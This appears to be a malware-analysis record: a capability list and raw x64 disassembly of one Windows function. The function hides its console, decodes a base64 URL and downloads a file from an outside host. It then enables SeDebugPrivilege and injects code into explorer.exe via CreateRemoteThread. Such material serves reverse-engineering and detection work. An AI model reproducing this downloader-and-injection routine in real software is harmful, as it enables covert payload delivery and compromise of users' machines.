Function at 0x1400018f0
Capabilities:
Acquire debug privileges
Change the wallpaper
Create http request
Create thread
Decode data using base64 via winapi
Download and write a file
Enumerate processes
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x13c0]
mov eax, 0x14c0
call fcn.140002bd0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x13b0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r15d, r15d
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], r15
lea r9, [rbp + 0x90]
xor edx, edx
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, str.aHR0cHM6Ly94bWIucHl0aG9uYW55d2hlcmUuY29tL2Rvd25sb2FkL3dhbGxwYXBlci5wbmc
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
lea rdx, [rbp + 0x2a0]
mov ecx, 0x104
mov byte [rbp + rax + 0x90], r15b
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rbp + 0x2a0]
mov edx, 0x104
lea r8, str._swallpaper.png
lea rcx, [rbp + 0x190]
call fcn.140001070
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.ImageDownloader
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140001b14
mov qword [rsp + 0x28], r15
lea rdx, [rbp + 0x90]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80800000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x140001a15
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001b14
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x190]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x140001a62
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001b14
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x3b0]
mov r14d, 1
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001ada
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140001ada
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], r15
lea rdx, [rbp + 0x3b0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140001ad7
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x40], eax
jne 0x140001ad7
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x3b0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001a84
jmp 0x140001ada
mov r14d, r15d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r14d, r14d
je 0x140001b14
mov r9d, 3
lea r8, [rbp + 0x190]
xor edx, edx
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
call fcn.1400012c0
test eax, eax
je 0x140001b8b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001b8b
lea r8, [rsp + 0x54]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x50]
mov r9d, 0x10
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x5c], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001c80
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001c73
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp - 0x74]
lea r8, str.explorer.exe
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001bf3
inc rax
test ecx, ecx
jne 0x140001be0
mov rcx, rbx
test edx, edx
je 0x140001c0b
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001bd0
jmp 0x140001c73
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x68]
test r8d, r8d
je 0x140001c80
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001c80
mov qword [rsp + 0x30], r15
lea r9, [0x1400016f0]
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x140001c73
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001c80